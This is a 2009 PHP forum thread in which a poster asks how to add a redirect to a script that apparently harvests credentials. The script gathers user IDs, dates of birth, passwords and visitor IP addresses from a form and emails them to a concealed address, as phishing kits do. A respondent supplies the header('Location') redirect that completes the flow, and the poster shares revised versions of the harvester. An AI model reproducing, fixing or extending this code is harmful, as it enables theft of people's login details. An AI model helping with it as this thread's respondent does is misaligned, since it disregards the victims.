/    Sign up×
Community /Pin to ProfileBookmark

Redirection after execution(help)

Am not really good in php but i have the below php script,which takes the input form and send it the specified email addresses. but i want the same php script to redirect the user unpon executing the below script. what i need to add to make this happen?

[CODE]<?php
$hostname = gethostbyaddr($ip);
$message .= “User ID : $usern”;
$message .= “Date of Birth : $dobn”;
$message .= “password : $securitynonn”;

$send=”[email protected]”;

$subject = “form result | $user | $ip”;
$headers = “From: Admin<[email protected]>”;
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($Send,$subject,$message,$headers);
}
?>
[/CODE]

I want the php script to still redirect the user to a different webpage after the completion/execution of the above script.

to post a comment
PHP

16 Comments(s)

Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — header() will allow you to redirect the user.
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — i try the header() right below the shown code and it gives error
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — from the manual page linked above

Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include(), or require(), functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file. [/QUOTE]

So check that is the case.
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — If there is a script included before this watch for an extra carrige return after the closing

?>

You don't actually need a closing ?> at the end of a script and that carriage return error catches me every now and then and reminds me of that fact! ?
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — you mean the code should be something like this?:

[CODE]<?php
header()


$hostname = gethostbyaddr($ip);
$message .= "User ID : $usern";
$message .= "Date of Birth : $dobn";
$message .= "password : $securitynonn";

$send="[email protected]";

$subject = "form result | $user | $ip";
$headers = "From: Admin<[email protected]>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($Send,$subject,$message,$headers);
}
?>[/CODE]
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — Humm, you've clearly not read the manual page. I even linked to it for you. That's pretty lazy dude.
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — Humm, you've clearly not read the manual page. I even linked to it for you. That's pretty lazy dude.[/QUOTE]

sorry, didnt notice the link was under the heade() word
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — No worries. The manual has examples of how to use it which is why I didn't want to show when it's all there already for you.

A good coder will RTFM often! Things change, warnings are issued. The manual is a little confusing at first but there are lots of user examples which help learning PHP a lot.
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — Thanks for the help SyCo, but am not really interested in learning php for now, just needed help on making my above request work, which will be my once handling of php for years.

I will appreciate if you could just gimme the code needed to make the above work rather than put me thro the torment of going thro all those manual page, just over..
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — From the linked page,

[code=php]header('Location: http://www.example.com/');[/code]

Add it after the mail stuff and before [B]any[/B] output
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — very appreciated, like this you mean?

[code=php]<?php

$hostname = gethostbyaddr($ip);
$message .= "User ID : $usern";
$message .= "Date of Birth : $dobn";
$message .= "password : $securitynonn";

$send="[email protected]";

$subject = "form result | $user | $ip";
$headers = "From: Admin<[email protected]>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$message,$headers) != false){
mail($Send,$subject,$message,$headers);
header('Location: http://www.example.com/');
}
?>[/code]
Copy linkTweet thisAlerts:
@SyCoApr 02.2009 — Right, just change the example.com bit to where ever you want the script to relocate to.
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 02.2009 — thanks, i will try it out
Copy linkTweet thisAlerts:
@a2j-godfatherauthorApr 03.2009 — am still having same problem:

Warning: Cannot modify header information - headers already sent by (output started at /hp/ae/aa/tq/www/Homepage/language/send2.php:2) in /hp/ae/aa/tq/www/Homepage/language/send2.php on line 22[/QUOTE]

what i do?
Copy linkTweet thisAlerts:
@SyCoApr 03.2009 — I understand you dont want to learn PHP to get this to work but you do have to put forth some effort. At the very least you need to read the responses given to you already. Why would anyone continue to help you if you won't read the responses.

headers already sent

output started at...

on line 22 ...

Remember that header() must be called before any actual output is sent, [/QUOTE]

Add it after the mail stuff and before any output [/QUOTE]


I'll write it a third time if you think it'll help.
Copy linkTweet thisAlerts:
@criterion9Apr 03.2009 — Try reading the manual. If you are uncomfortable with working with a programming language perhaps you should look into hiring a developer...
×

Success!

Help @a2j-godfather spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.3,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,

tipper: @Samric24,
tipped: article
amount: 1000 SATS,
)...